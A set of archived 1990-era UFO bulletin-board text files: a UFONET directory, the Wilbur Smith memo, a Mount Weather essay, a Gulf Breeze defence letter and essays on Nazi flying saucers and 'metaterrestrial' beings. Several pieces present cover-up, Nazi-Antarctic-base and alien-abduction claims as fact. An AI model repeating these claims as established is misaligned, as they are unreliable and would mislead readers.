other such institutions, there are tidbits of information,
much of it documented, regarding a whole bevy of UFOlogy figures.
Included, are Wilbur Smith, Bill Moore, Richard Doty, Linda Howe,
Stanton Friedman, Todd Zechel, Lee Graham, Bill Cooper, and
several others. If any criticism can be made of the report,
and their are a few, its that it was too wide in its
scope, and as a consequence, particular sections didn't get
dealt with adequately. Thus, the enormity of the task, coupled
with the constant influx of new information, were in large
measure responsible for the delay in having this paper published.
As I alluded to earlier, this paper will be made publicly
available soon. If you're at all interested in the subject,
you'll want to read it for yourself. Its one more contribution
to the amassing body of evidence, that the U.S. government is
indeed covering up its knowledge and activities with regard to
the subject of UFOs.
Tom Mickus, 24, is currently attending the University of Toronto.
In addition to this, he also is Moderator of a UFO oriented
computer Bulletin Board Service (BBS) Network, entitled UFONET.
Unlike Paranet, which I am no longer affiliated with, we are a
100% UFO subject related network. We have affiliates in both
Canada and the U.S. For more information, you can phone Tom
at 416/239-1094, or connect directly with UFONET via your computer
and modem by calling 416/237-1204. You may also write him at:
Tom A. Mickus
UFONET BBS Network
Box 388, Station W
Toronto, Ontario, CANADA
M6M 5C1


26
textfiles.com/ufo/warnings.ufo Normal file
View File

@@ -0,0 +1,26 @@
THE FOLLOWING ARE COMMON SENSE WARNINGS WHEN DEALING WITH A UFO
1. Do not touch or attempt to touch a UFO that has landed. Passing
through the Earth's atmosphere the skin of the craft will be hot.
There is also a possibility of radiation. There is also a chance
of steam being produced from the heated hull at the landing site.
2. Do not stand under a hovering UFO at low altitude. There is a
possibility of radiation danger.
3. DO NOT ATTEMPT TO CONTACT ALIENS if they appear, any movement on
your part may constitute an act of aggression. If possible,
back away VERY slowly. Make no gestures what so ever.
4. If possible note the time and take a photograph if possible.
Note the shape and size of the craft, use nearby objects for
a size comparison.
5. Do not touch any artifact from an alien spacecraft, the artifact
may be dangerous, leave this to the authorites.
6. Get away from the area QUICKLY. Inform the local authorites or
the military.


254
textfiles.com/ufo/wbsmemo.ufo Normal file
View File

@@ -0,0 +1,254 @@
======================================================================
FILE ORIGINATES FROM: <<UFONET I>>
UPLOADED BY: Tom Mickus
DATE OF UPLOAD: JAN/14/1990
======================================================================
======================================================================
WBSMEMO.TXT [ ****] Famous Canadian Wilbur B. Smith Memo
======================================================================
======================================================================
NOTE: The file is reproduced verbatim, except for handwritten
comments which have been scrawled in various places by
different individuals.
=======================================================================
=======================================================================
TOP SECRET
--------------
(downgraded to CONFIDENTIAL 15/9/69)
D E P A R T M E N T O F T R A N S P O R T
Intra-departmental Correspondence
OTTAWA, Ontario, November 21, 1950
Place Date
-----------------------------------------------------------------------
| File | Subject | | Our File
| | Geo-Magnetics | | (R.ST.)
| | | |
-----------------------------------------------------------------------
MEMORANDUM TO THE CONTROLLER OF TELECOMMUNICATIONS:
--------------------------------------------------
For the past several years we have been engaged in
the study of various aspects of radio wave propagation. The
vagaries of this phenomenon have led us into the fields of aurora,
cosmic radiation, atmospheric radio-activity and geo-magnetism.
In the case of geo-magnetics our investigations have contributed
little to our knowledge of radio wave propagation as yet, but
nevertheless have indicated several avenues of investigation which
may well be explored with profit. For example, we are on the
track of a means whereby the potential energy of the earth's
magnetic field may be abstracted and used.
On the basis of theoretical considerations a small
and very crude experimental unit was constructed approximately a
year ago and tested in our Standards Laboratory. The tests were
essentially successful in that sufficient energy was abstracted
from the earth's field to operate a voltmeter, approximately 50
milliwatts. Although this unit was far from being self-sustaining,
it nevertheless demonstrated the soundness of the basic principles
in a qualitative manner and provided useful data for the design of
a better unit.
The design has now been completed for a unit which
should be self-sustaining and in addition provide a small surplus
of power. Such a unit, in addition to functioning as a 'pilot
power plant' should be large enough to permit the study of the
various reaction forces which are expected to develop.
We believe that we are on the track of something
which may well prove to be the introduction to a new technology.
The existence of a different technology is borne out by the
investigations which are being carried on at the present time in
relation to flying saucers.
While in Washington attending the NARB Conference,
two books were released one titled "Behind the Flying Saucer" by
Frank Scully, and the other "The Flying Saucers are Real" by
Donald Keyhoe. Both books dealt mostly with the sightings of
unidentified objects and both books claim that flying objects
were of extra-terrestrial origin and might well be space ships
...... 2
from another planet. Scully claimed that the preliminary studies
of one saucer which fell into the hands of the United States
Government indicated that they operated on some hitherto unknown
magnetic principles. It appeared to me that our own work in geo-
magnetics might well be the linkage between our technology and the
technology by which the saucers are designed and operated. If it
is assumed that our geo-magnetic investigations are in the right
direction, the theory of operation of the saucers becomes quite
straightforward, with all observed features explained qualitatively
and quantitatively.
I made discreet enquiries through the Canadian Embassy
staff in Washington who were able to obtain for me the following
information:
a. The matter is the most highly classified subject in the United
States Government, rating higher even than the H-bomb.
b. Flying saucers exist.
c. Their modus operandi is unknown but concentrated effort is
being made by a small group headed by Doctor Vannevar Bush.
d. The entire matter is considered by the United States authorities
to be of tremendous significance.
I was further informed that the United States authorities are
investigating along quite a number of lines which might possibly
be related to the saucers such as mental phenomena and I gather
that they are not doing too well since they indicated that if
Canada is doing anything at all in geo-magnetics they would welcome
a discussion with suitably accredited Canadians.
While I am not yet in a position to say that we have
solved even the first problems in geo-magnetic energy release, I
feel that the correlation between our basic theory and the available
information on saucers checks too closely to be mere coincidence.
It is my honest opinion that we are on the right track and are
fairly close to at least some of the answers.
Mr. Wright, Defence Research Board liaison officer at
the Canadian Embassy in Washington, was extremely anxious for me to
get in touch with Doctor Solandt, Chairman of the Defence Research
Board, to discuss with him future investigations along the line
of geo-magnetic energy release.
....... 3
I do not feel that we have as yet sufficient data to place before
Defence Research Board which would enable a program to be initiated
within that organization, but I do feel that further research is
necessary and I would prefer to see it done within the frame work
of our own organization with, of course, full co-operation and
exchange of information with other interested bodies.
I discussed this matter fully with Doctor Solandt,
Chairman of Defence Research Board, on November 20th and placed
before him as much information as I have been able to gather to
date. Doctor Solandt agreed that work on geo-magnetic energy should
go forward as rapidly as possible and offered full co-operation of
his Board in providing laboratory facilities. Acquisition of
necessary items of equipment, and specialized personnel for
incidental work in the project. I indicated to Doctor Solandt that
we would prefer to keep the project within the Department of
Transport for the time being until we have obtained sufficient
information to permit a complete assessment of the value of the
work.
It is therefore recommended that a PROJECT be set up
within the frame work of this Section to study this problem and
that the work be carried on a part time basis until such time as
sufficient tangible results can be seen to warrant more definitive
action. Cost of the program in its initial stages are expected to
be less than a few hundred dollars and can be carried by our Radio
Standards Lab appropriation.
Attached hereto is a draft of terms of reference for
such a project which, if authorized, will enable us to proceed with
this research work within our own organization.
(signed) W B S M I T H
(W.B. Smith)
Senior Radio Engineer
WBS/CC
=============================== END OF FILE =================================
=============================================================================
= Directory Listing of <<UFONET>> Computer Bulletin Board Systems =
=============================================================================
-----------------------------------------------------------------------------
<<UFONET #>> Board Name System Data Phone Baud
Net/Node Location Operator Remarks Hours
=============================================================================
<<UFONET I>> THE CRUCIBLE Tom 416-237-1204 12/96 HST
(1:250/440) Toronto, ON Mickus Canadian Hub 24 Hrs
-----------------------------------------------------------------------------
<<UFONET V>> Nexus Linda 602-526-8025 3/96 HST
(1:304/1) Flagstaff, AZ Murphy American Hub 24 Hrs
-----------------------------------------------------------------------------
<<UFONET VI>> LATTICE~ Rod 405-277-3603 3/96 HST
(1:147/66) Luther, OK Wilson 14.4 HST 24 Hrs
-----------------------------------------------------------------------------
<<UFONET VII>> Astro-Net David 714-662-2294 3/24
(1:103/903) Costa Mesa, CA Rice 24 Hrs
-----------------------------------------------------------------------------
<<UFONET IX>> Radio Free Milwaukee Pete 414-351-1823 3/96 HST
(1:154/414) River Hills, WI Porro Multi-line 24 Hrs
-----------------------------------------------------------------------------
<<UFONET XII>> Studio PC Ralph 813-862-8850 3/96
(1:377/2) Port Richey, FL LoBianco 24 Hrs
-----------------------------------------------------------------------------
<<UFONET XIII>> The Briefcase BBS Mike 316-652-9202 3/24
(1:291/3) Wichita, KS Holcomb 24 Hrs
-----------------------------------------------------------------------------
<<UFONET XIV>> Adventures Unlimited Ray 303-493-8162 3/24
(1:306/15) Ft. Collins, CO Randolph 24 Hrs
-----------------------------------------------------------------------------
<<UFONET XV>> BXT-1761 David 512-298-1761 3/24
(1:136/402) Del Rio, TX Winters 24 Hrs
-----------------------------------------------------------------------------
<<UFONET XVI>> The Arts Rap Bob 716-223-7874 3/24
(1:260/234) Rochester, NY Branch 24 Hrs
-----------------------------------------------------------------------------
=============================================================================
= FOR AN UPDATED LISTING OF BOTH UFONET BBSs AND FILES, WRITE: TOM MICKUS =
= UFONET BBS NETWORK, BOX 388, STATION W, TORONTO, ONTARIO, CANADA M6M5C1 =
=============================================================================
=============================================================================
= IF YOU HAVE ANY UFO RELATED INFORMATION THAT YOU WOULD LIKE US TO SEE =
= OR HAVE DISTRIBUTED, YOU CAN NOW SEND IT VIA OUR NEW UFONET FAX LINE. =
=============================================================================
= ------>>> UFONET FAX HOTLINE - 24 Hrs - (414) 351-2075 <<<------ =
=============================================================================


237
textfiles.com/ufo/weather.ufo Normal file
View File

@@ -0,0 +1,237 @@
MOUNT WEATHER
In the best-selling 1962 spy thriller SEVEN DAYS IN MAY, the
Joint Chiefs of Staff plot to overthrow the U.S. president. Their
conspiracy centers on a place called Mount Thunder, a secret
subterranean command post where government leaders would go in the
event of a nuclear attack.
On December 1, 1974, a TWA Boeing 727 jet crashed into a fog-
shrouded mountain in northern Virginia and burned, killing all
ninety-two persons aboard. Near the wreckage was a fenced
government reserve identified as Mount Weather.
Mount Weather is a real place; eighty-five acres located
forty-five miles west of Washington and 1,725 feet above sea
level, near the town of Bluemont, Virginia. In the event of all-
out war, an elite of civilian and military leaders are to be taken
to Mount Weather's cavernous underground shelter to become the
nucleus of a postwar American society. The government has a secret
list of those persons it plans to save.
The Federal Emergency Management Agency (FEMA) runs Mount
Weather. When it has to talk about the place, which is rare, it
calls it the "special facility." Its more common name comes from a
weather station that the U.S. Department of Agriculture had
maintained on the mountain.
The authors of SEVEN DAYS IN MAY, Fletcher Knebel and Charles
W. Bailey II, were Washington journalists who learned a lot about
the then-quite-secret post. Few readers of Knebel and Bailey's
fiction could have imagined how close to the truth it was. The
novel gives detailed highway directions from Washington:
...the Chrysler wheeled onto Route 50,
heading away from Washington....
In the jungle of neon lights and access
roads at Seven Corners, Corwin saw Scott bear
right onto Route 7, the main road to Leesburg.
The two cars moved slowly through Falls Church
before the traffic began to thin out and speed
up....
At the fork west of Leesburg, Scott bore
right on Route 9, heading toward Charles
Town.... They began to climb toward the Blue
Ridge, the eastern rim of the Shenandoah
Valley....
West of Hillboro, where the road crossed
the Blue Ridge before dropping into the
valley....Scott turned left. Corwin followed
him onto a black macadam road that ran
straight along the spine of the ridge.
...Because of his White House job, Corwin
knew something about this road that few other
Americans did. Virginia 120 appeared to be
nothing more than a better-than-average Blue
Ridge byway, but it ran past Mount Thunder,
where an underground installation provided one
of the several bases from which the President
could run the nation in the event of a nuclear
attack on Washington.
Knebel and Bailey disguised the directions slightly. You
continue on Route 7 west of Leesburg, turning left on Route 601
just west of Bluemont. It's Virginia Route 601 that runs right up
to the gates of Mount Weather. Residents have long known there is
something funny about that road; it is always the first road
cleared after a snowstorm.
At one point, the government asked the local paper not to
print any articles about the facility. But it is all but
impossible to keep such a place secret. The Appalachian Trail runs
right by Mount Weather, and hikers can get close enough to see
signs and flashing lights. One sign reads: "All persons and
vehicles entering hereon are liable to search. Photographing,
making notes, drawings, maps or graphic representations of this
area or its activities are prohibited." In the late 1960s an
unidentified "hippie" is supposed to have stumbled upon the
facility and sketched it from a tree. His drawing turned up in the
QUICKSILVER TIMES, an underground newspaper in Washington.
Residents also tell of the time a hunt club chased a fox onto
the site and triggered an alarm. The club had to go to the main
gate to get the dogs back.
After the TWA crash, a spokesman "politely declined to
comment on what Mt. Weather was used for, how many people work
there, or how long it has been in its current use," the WASHINGTON
POST reported. The POST published a picture of the facility,
citing far-fetched speculation that Mount Weather's radio antennas
may have interfered with the jet's radar and caused the disaster.
You don't get into Mount Weather without an invitation. The
entrance is said to be like the door to a bank vault, only
thicker, set into a mountain made out of the toughest granite in
the East. It is guarded around the clock.
Mount Weather got more unsolicited publicity in 1975. Senator
John Tunney (D-Calif.) charged that Mount Weather held dossiers on
100,000 or more Americans. A sophisticated computer system gives
the installation access to detailed information on the lives of
virtually every American citizen, Tunney claimed. Mount Weather
personnel stonewalled question after question in two Senate
hearings.
"I don't understand what they're trying to hide out there,"
Douglas Lea, staff director of the Senate Subcommittee on
Constitutional Rights, said. "Mount Weather is just closed up to
us." Tunney complained that Mount Weather was "out of control."
Mount Weather has been owned by the government since 1903,
when the site was purchased by the U.S. Department of Agriculture.
Calvin Coolidge talked about building a summer White House there.
In World War I it was an artillery range, and during the
Depression it was a workfarm for hobos. Mount Weather as an
alternate capital seems to have been the idea of Millard F.
Caldwell, former governor of Florida.
There is a fallout shelter under the East Wing of the White
House. No one believes it offers any real protection from a
nuclear attack on Washington, however. FEMA has elaborate plans
for getting the president and other key officials out of
Washington should there be a nuclear attack.
In that event, the president is supposed to board a Boeing
747 National Emergency Airborne Command Post ("Kneecap"). That is
presumed to be safer than any point on the ground. The president's
plane can be refueled in the air from other planes and may be able
to stay airborne for as long as three days. Then its engine will
conk out for lack of oil. That is where Mount Weather comes in.
Government geologists selected the site because it has some
of the most impregnable rock in the United States. The shelter was
started in the Truman administration, and it took years to tunnel
into the mountain.
There is a whole chain of shelters for leaders and critical
personnel. The Federal Relocation Arc, a system of ninety-six
shelters for specific U.S. Government agencies, sweeps through
North Carolina, Virginia, West Virginia, Maryland, and
Pennsylvania. A duplicate of the Pentagon is located at a site
called Raven Rock in Maryland. The administrative center of the
whole system, and the place where the top civilians would go, is
Mount Weather.
Mount Weather is much more than a fallout shelter; it is a
troglodytic Levittown. In the mid-1970s Richard Pollack, a writer
for PROGRESSIVE magazine, interviewed a number of persons who had
been associated with Mount Weather. According to them, Mount
Weather is an underground city with roads, sidewalks, and a
battery-powered subway. A spring-fed artificial lake gleams in the
fluorescent light. There are office buildings, cafeterias, and
hospitals. Large dormitories are furnished with bunks or "hot
cots" -- hammocks intended to be occupied in three eight-hour
shifts. There are private apartments as well. Mount Weather has
its own waterworks, food storage, and power plant. A "bubble-
shaped pod" in the East Tunnel houses one of the most powerful
computers in the world.
The Situation Room, a circular chamber, would be a nerve
center in the time of war. The Mount Weather folks set great store
by visual aids and retain artists and cartographers at all times.
A futuristic color videophone system is the basic means of
communication within Mount Weather's subterranean world. "All
important staff meetings were conducted via color television as
far back as 1958, long before it was generally available to the
public," one former staffer bragged.
The most surprising of Pollack's revelations is that Mount
Weather has a working back-up of U.S. Government EVEN NOW.
Undisclosed persons there duplicate the responsibilities of our
elected leaders, making Mount Weather an eerie doppelganger of the
United States.
An Office of the Presidency is ensconced in an underground
wing known as the White House. The elected president or survivor
closest in the chain of command would make his way there and take
over the reins. Until then, a staffer appointed by FEMA would be
carrying out duties said to simulate those of the real president.
Installed at Mount Weather are nine federal departments,
their very names ironic in the context: Agriculture, Commerce,
Health and Human Services, Housing and Urban Development,
Interior, Labor, State, Transportation, and the Treasury.
Miniature versions of the Selective Service, the Veteran's
Administration, the Federal Communications Commission, the Post
Office, the Civil Service Commission, the Federal Power
Commission, and the Federal Reserve are there, too.
"High-level government sources, speaking under the promise of
strict anonymity, told me that each of the federal departments
represented at Mount Weather is headed by a single person on who
is conferred Cabinet-level official," Pollack reported. "Protocol
even demands that subordinates address them as 'Mr. Secretary.'
Each of the Mount Weather 'Cabinet members' is apparently
appointed by the White House and serves an indefinite term. Many
of the 'secretaries' have held their positions through several
administrations."
What do all these people DO? Twice a month, Mount Weather
stages a war game to train its personnel and explore various dire
scenarios. Once a year they pull out all the stops and have a
super drill in which REAL Cabinet members and White House staffers
fly in from Washington.
General Leslie Bray, director of the Federal Preparedness
Agency, FEMA's predecessor, told the Senate that Mount Weather has
extensive files on "military installations, government facilities,
communications, transportation, energy and power, agriculture,
manufacturing, wholesale and retail services, manpower, financial,
medical and educational institutions, sanitary facilities,
population, housing shelter, and stockpiles." Additional
information is kept in safekeeping at other shelters in the
Federal Relocation Arc.
There is a body of opinion that considers Mount Weather
obsolete. Mount Weather is a non-movable target, and a very
strategic one if the relocation works. The "toughest granite in
the East" may have offered some protection in Eisenhower's time,
but multiple strikes could blast the mountain away. It was
reported that the TWA jet crash knocked out power at Mount Weather
for two and a half hours. What would a bomb do?
The Soviet Union knows exactly where Mount Weather is -- and
almost certainly knew long before the Western press did. The
Soviets tried to buy an estate near Mount Weather as a "vacation
retreat" for embassy employees. The State Department stopped the
sale.
The Survivor List
In 1975 General Bray told the Senate that the Mount Weather
survivor list had sixty-five hundred names on it. Who might be
included?
The president, of course, provide he survives his Kneecap
command. The vice-president and Cabinet members are on the list
because they take part in the annual dry runs. Beyond that, little
is known and the few existing accounts conflict.
For instance, what about Congress? General Bray said that his
responsibilities included the executive branch only, not Congress
or the Supreme Court. But in an interview in 1976, Senator Hubert
Humphrey insisted that he had visited the shelter as vice-
president and seen "a nice little chamber, rostrum and all," for
postnuclear sessions of Congress.
Furthermore, Earl Warren is said to have been invited when he
was Chief Justice of the Supreme Court. Warren refused because he
was not allowed to take his wife. The protocol for ordering
persons to Mount Weather specifies that messages not be left with
family members answering the phone.
The vast majority of the persons on the list are believed to
be ranking bureaucrats from the nine federal agencies with
branches at Mount Weather. Pollack said he heard stories that some
construction workers were on the list "because, the Mount Weather
analysts reasoned, excavation work for mass graves would be needed
immediately in the aftermath of a thermonuclear war." General Bray
admitted that some others such as telephone company technicians
are included.
Each person on the survival list has an ID card with a photo.
The card reads: THE PERSON DESCRIBED ON THIS CARD HAS
ESSENTIAL EMERGENCY DUTIES WITH THE FEDERAL GOVERNMENT.
REQUEST FULL ASSISTANCE AND UNRESTRICTED MOVEMENT BE
AFFORDED THE PERSON TO WHOM THIS CARD IS ISSUED.

69
textfiles.com/ufo/wfletgb.ufo Normal file
View File

@@ -0,0 +1,69 @@
The following is a letter from Don Ware and Charles Flannigan
concerning a recent article in the Pensacola News Journal
dealing with the Ed Walters UFO photographs. The letter was
sent to both the Pensacola News Journal and the Gulf Breeze
Sentinel.
---------------------------------------------------------------
October 30, 1990
Dear Editor,
As the primary investigators of the famous Gulf Breeze UFO
case now involving over 70 photographs, Charles Flannigan
and I feel we must comment on the "road shot." This photo,
#19, has received doubtful comment in newspapers and TV
recently. One investigator said that the reflection on the road
doesn't form a round spot, so the photo most be a double
exposure. A careful look at the surface of Shoreline Drive,
191B where the UFO hovered, will help explain the reflection
resulting from the large bright light source on the bottom of
the UFO.
Looking down on the surface, you can see that about 30% is
mostly white with some tan rock. This rock has a hard smooth
surface. It is embedded in comparatively soft dark asphalt,
and the light colored rocks have become oriented with mostly
flat surfaces up. Over time, some asphalt has worn away 1 to
2 millimeters below the hard rock surfaces. A series of photos
taken with a 100,000 candlepower light shining at various
angles on the road shows enhanced reflectivity at shallow
angles. This seems to be the result of spectral reflection from
the light colored rocks. Because the asphalt is worn down
below the surface of the rock, only the rock is visible when
looking farther down the road. This causes more photons to
reach the camera than you would normally expect from
light reflected at a small angle. Now the shape of the
reflection from the UFO becomes easier to understand.
For those who still have doubts about the authenticity
of this photo, you might look carefully at two photos in a
copy of THE GULF BREEZE SIGHTINGS. Turn to page 129 and
look at the daylight photo of the road. Compare the brightness
of the double-yellow line between the hood and windshield
wiper with the brightness near the spot where the UFO hovered.
Now look one page back at photo #19 and make the same
comparison. (Good light is helpful here.) The double-yellow
line appears brighter near the UFO. This tells us that light
from the UFO is reflecting off the line; hence, NO DOUBLE
EXPOSURE (emphasis theirs).
We have had the good fortune of getting to know Ed and
Frances Walters well since our extensive investigation of the
many Gulf Breeze UFO encounters of 1987 and '88. They are
two of the most considerate, hard-working, and lovable people
we know. They have shown great courage and composure
under public attack by several UFO debunkers. We wish them
the best of luck in all of their endeavors, whether it is a $1-a-
year job or the sale of a mind-broadening book.
Charles D. Flannigan
MUFON Field Investigator
State Director
Donald M. Ware
MUFON Field Investigator
Eastern Region Director

160
textfiles.com/ufo/whatare.ufo Normal file
View File

@@ -0,0 +1,160 @@
UFO's. Alien or Man Made
By
Al Pinto
First, I would like to introduce myself. I am not an airplane pilot. I am not
an astronaut, physicist, scientist, pscychologist, or any other so called
"accepted" authority on UFO's. I am however an ex-Navy Petty Officer with a
good amount of observation experience. I am also someone who is very
interested in the phenomenon. I have researched this subject for quite a while
now, because of what it might mean to us if the "truth" leaked out. Let me tell
you that there is a lot more to UFO's than you may think.
The governments of the world have been covering up everything that has to do
with UFO's. Why? It may be they feel that the sheer thought of an "alien"
culture infiltrating our world would cause mass hysteria. When I was a
teenager living in North Bergen, NJ (a town across the Hudson River, directly
across from NYC) hundreds of people saw what appeared to be a flying disk land
in what was then called Hudson County Park ( now named Braddock Park after
James J. Braddock, the boxer). It was said to blow out windows in a high rise
named the "Stonehenge". The only thing ever heard about it was a small blurb
in the local newspaper called the Dispatch. I became interested in the
phenomenon ever since. The authorities must have had one hell of a time
suppressing that sighting but, apparently were very succesful. Again I ask,
why?
Maybe these craft are some secret government project. There is a lot of
evidence to this that dates back to WWII. There is a report by Marshall
Yarrow, then then the Reuters special correspondant to Supreme H.Q. in
liberated Paris. This article was published in the South Wales Argus on
December 13, 1944. It stated, "The Germans have produced a 'secret' weapon in
keeping with the Christmas season. The new device, which is appaently an air
defense weapon, resembles the glass balls that adorn Christmas trees. T hey
have been seen hanging in the air over German territory,sometimes singly,
sometimes in clusters. They are colored silver and are appaently transparent."
Another article regarding the German's secret craft was released by the
Associated Press in the New York Herald Tribune dated January 2, 1945. It
said: "Now, it seems, the Nazis have thrown something new into the night
skiesover Germany. It is the weird, mysterious 'Foo Fighter' balls which race
alongside the wings of Beaufighters flying intruder missions over Germany.
Pilots have been encountering this eerie eapon for more than a month in their
night flights. No one apparently knows what this sky weapon is. The balls of
fire appear suddenly and accompany the planes for miles. They seem to be radio
controlled from the ground, so official intelligence reports reveal..."
I recently read a paper by Dr. Renato Vesco in which he claims that the "Foo
Fighter" actually existed. It was originally called the "Feurball" and that it
was first built at an aeronautical establishment in Weiner Neustatt, with the
help of the Flugfunk Forschungsanstalt of Oberpfaffenhoffen (FFO). According
to Vesco, the craft was a flat, circular flying machine, powered by a special
turbojet engine, which was used by the Germans during the end of the war.
Vesco also claims that the basic principles of the "Feurball" were later
applied to a much larger craft called the "Kugelblitz" or Ball Lightning
Fighter. This craft, which was rummored to be a revolutionary kind of
supersonic aircraft- was sucesfully conducted over the underground complex of
Kahla, in Thuringia, some time during February of 1945.
By 1975, Luftfhardt International was stating that a WWII Flugkapitan Rudolph
Schriever had died and found among his papers were the incomplete notes for a
large flying saucer, a series of rough sketches of the machine, and several
newspaper clippings of himself and his alleged flying saucer. Luftfahrt also
pointed out that Schriever, up until his death, had been convinced that the
UFO sightings since the end of the war were proof that his original id as had
been taken further with succesful results.
Again I wonder. Is there something more to this? Where did this technology go?
In May of 1978, at Stand 111 in a scientific exhibition in the Hanover Messe
Hall, some people were giving out a paper entitled the "Brisant". The
paper contained two seemingly unrelated articles:
1. The scientific future of the Antartic.
2. Germany's WWII flying saucers The flying saucer spoke
of the information I alredy had presented to you. The article also incl
detailed drawing of a typical WWII flying disk, did not mention the
designer's name, and claimed that the drawing was altered by the West
German gov't to render it "safe" for publication. According to the
article, at the end of the war, some of the patents for this craft
disapeared into secret Russian, American, and British files. The remainder
of the files and most likely, the most important ones, went with the
"missing" German sci entists and S.S. men. By 1956, Captain Ed Ruppelt,
then head of the U.S.A.F.'s Project Blue Book, wrote, "When WWII ended,
the Germans had several radical types of aircraft and guided missles under
development. The majority of these were in the most preliminary staes, but
they were the only known craft that could even approach the performances
of the objects reported by UFO observers."
The article also states that in 1938, Hitler, anxious for a foothold in the
Antartic, sent an expediition commanded by Captain Alfred Richter to the coast
due south of South Africa. Two seaplanes were launched from the deck of the
carrier, Schwabenland, daily for three weeks. They had orders to fly back and
forth across the territory which Norwegian explorers had named Queen Maud
Land. The Germans had then made a far more thorough study of these region,
finding vast areas that were free of ice. They renamed the area
"Neuschwabenland" and claimed it as part of the Third Reich. German ships and
U-boats continued to operate in the South Atlantic Ocean, particularly
between South Africa and the Antartic, throughout WWII. Then, in March 1945,
just before the end of the war, two German U-boats, U-530 and U-977, left from
a port on the Baltic Sea. Alegedly, they took with them members of the flying
saucer research teams, the last of the most vital saucer components, the notes
and drawings for the saucer, and the designs for gigantic underground
complexes and living accomodations based on the underground factories of
Nordhausen in the Harz mountains. The U-boats allegedly unloaded all of this
in Antartica. Then, two months after the war, they mysteriously surfaced off
the coast of Argentina where the crews were handed over to the American
authorities, who interrogated them at length and then flew them all back to
the United States and questioned the Captains of both U-boats for almost a
year.
About a year after their capture, the United States launched the biggest
operation ever known regarding the Antartic. The purpose was to
"circumnavigate the 16,000 mile continent and map it thoroughly.." "Brisant"
felt i odd that Operation Highjump, as it was called, under the command of
Adm. Richard E. Byrd, included 13 ships, 2 seaplane tenders, an aircraft
carrier, 6 two engine R4D transports, 6 Martin PBM flying boats, 6
helicopters and a staggering 4000 men. That expedition became somewhat of a
mystery. It docked near the German claimed Neuschwabenland and split up into
three separate task forces. Some reports claim that the mission was an
enormous success. Other, mainly foreign, reports say that it was a complete
disaster: that many of Byrd's men were lost on the first day, that at least
four of his airplanes had disappeared, and that while the expedition had gone
provisioned for 6 to 8 months, they had returned only after a few weeks.
According to "Brisant" Admiral Byrd told a reporter that it was "necessary
for the USA to take defensive actions aginst enemy air fighters which come
from the polar regions" and that in case of a new war the USA would be
"attacked by fighters that are able to fly from one pole to the other with
incredible speed." Admiral Byrd was then ordered to undergo a secret cross
examination and the US withdrew from the Antartic for almost a decade.
Yes, I have to ask again. Why are the governments of Earth covering up on this
UFO phenomenon. It may be because they have no choice right now. They are up
against a much more technologically advanced society that might very well be a
product of the Nazi's and they can't do a thing about it right now. It then
becomes more apparent why they do not want us to know. The masses would not
only panic but would quite probably go berserk! There are still many people
alive today who experienced the terror of Nazi Germany. Imagine how they would
feel if they found out that not only is Naziism still alive but, they command
power that no government can stop.
There is still other information that I've come across which I am in the
process of researching at this point. It regards the science of Cybornetics. I
became interested in this because the Nazi's did many "exp riments" with
humans. Many of these experiments are deemed to be highly unethical by the
medical profession. So strange infact that results of these tests cannot be
released or even used for a good purpose because of the way the tests were
conducted. More on this some other time but it may be possible that these
"little people" are cyborgs. Don't laugh. What I have read so far just might
support this theory.
There are a few problems with all of this. What about the sightings that took
place before WWII? What about Lear's report that we are dealing with Aliens,
Extraterrestrials from another world? Why bother with te Space Shuttle and
rockets if the technology exists to build saucers? None of it truly makes
sense. That is the problem. We have only questions and not enough answers but,
somebody knows. Do you?
Al Pinto


227
textfiles.com/ufo/white.ufo Normal file
View File

@@ -0,0 +1,227 @@
Stop the presses! It wasn't me! The "JS" referred to in "JSUFO.TXT" is an unknown friend of Wendy Silvers', who happens to have the same in
itials as YourIllustrious Sysop. I haven't even finished reading JSUFO.TXT! But other than that, this article by John White is very interest
ing and well-written. (I just hope his book hasn't gone to press yet with my name in it....) -Jim Speiser------
----------------------------------------------
A RESPONSE TO SPEISER'S EBE 'EXPLANATORY HYPOTHESIS'
By John White
The following is excerpted from an essay entitled "UFOs and the Search for Higher Consciousness" to appear in my forthcoming book, The Meet
ing of Science and Spirit. I offer it as a response to Jim Speiser, who asks in his April 1988 Paranet essay (JSUFO.NEW), "<22>is it possible
that EBEs are members of an advanced evolutionary level of life who are tending this planet as a garden? Might they be cultivating human li
fe, not as a food source, but to give humans the opportunity to become, through their choices, potential members and contributors to the EBE
's advanced level?<3F>Maybe we should be asking: Are we growing in the right way? How should we conduct ourselves in the presence of these in
dividuals and how should we conduct ourselves with each other? What do we have to gain by treating EBEs as hostile invaders? What is the r
eal purpose of these visitations? Since we seem to be far less advanced, maybe the only way we can gain is by concluding they are here for
our benefit."
My briefest response to Speiser would be to acknowledge the legitimacy of his questions but to disagree with his conclusions. "By their fr
uits ye shall know them." Judging from what abductees report as the "fruits" of alien abduction, the EBEs are here for anything but our ben
efit. I see nothing--absolutely nothing--about the abductions which is positive, which provides new and useful knowledge or which is growth
-inducing for humans and which can be attributed to the EBEs' intentions. Yes, abductees do report long-term growth as a result of being te
rrorized, traumatized, emotionally and physically raped--but that is in no way to the credit of the EBEs. It is due solely to the resilien
ce of the human psyche--its self-reparative quality and its inherent urge toward health, wholeness and self-transcendence. Some people surv
ived the Holocaust, but it does not then follow that their survival and consequent gain in strength, understanding and even compassion [see
Viktor Frankl's Man's Search for Meaning] was due to the good intentions of their captors. Speiser is leaping to a premature conclusion, an
d a very dangerous one at that. But the danger is spiritual as much as it is physical, and I think his position typifies a widespread attit
ude which needs to be recognized and corrected. This excerpt explains what it is and why it is dangerous to adopt the perspective Speiser a
dvocates.
_________________________
The term "metaterrestrial" was coined by J. Allen Hynek to denote something that originates outside the familiar space-time framework in wh
ich we ordinarily function. Also called extradimensional, interdimensional, ultraterrestrial and ultraphysical, this category provides evid
ence that some UFO experiences are due to nonphysical but real entities that come not from other locations in our universe but from other se
ts of dimensions that interpenetrate our space-time. Materialization/dematerialization and some other psychic or paranormal phenomena are b
est accounted for this way, and are theoretically possible within modern physics' view of reality. In short, many UFO incidents appear to b
e contemporary versions of what was recorded long ago in mythology, religious scripture and spiritual traditions as encounters with angels,
demons and the various inhabitants of other planes of existence. These metaterrestrial (MT) beings materialize into our space-time from oth
er levels of reality--traditionally called heaven and hell in the Judeo-Christian world view, but modernly understood as hyperspatial dimens
ions or supersensible space-time frameworks with a wide range of beings native to them, just as ours has creatures ranging from viruses to w
hales.
Thus, the UFO phenomenon suggests that other life forms are present in the universe--the evidence from exobiology supports this idea, quite
apart from the UFO data--and that they have contacted the human race throughout history and are still interacting with us in various ways.
The interactions range from benevolent, such as warnings from Space Brothers and Galactic Confederation emissaries about the threat of nucl
